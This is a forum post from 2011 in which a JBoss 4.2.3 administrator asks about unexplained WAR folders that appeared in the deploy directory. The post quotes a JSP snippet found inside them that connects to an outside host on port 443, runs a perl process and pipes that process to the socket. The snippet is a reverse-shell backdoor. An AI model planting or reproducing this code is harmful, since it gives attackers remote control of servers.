13 Replies Latest reply: Oct 21, 2011 5:15 AM by wus81 RSS


    Richard Lin Newbie

      Recently I found some random war folders were created in my JBoss 4.2.3 deploy folder, like the attached snapshot.

      Inside those war folders, I can find a jsp file, also with random name as well. the content is like the following: (also attached 2 samples)


      Socket socket = new Socket("some.u.rl",443);

      Process process = Runtime.getRuntime().exec("perl .ICE-unix");

      (new StreamConnector(process.getInputStream(), socket.getOutputStream())).stop();

      (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();



      Anyone knows this? Is it a virus???

      If it is, I use Avast, but it can't find the virus...


      Please help!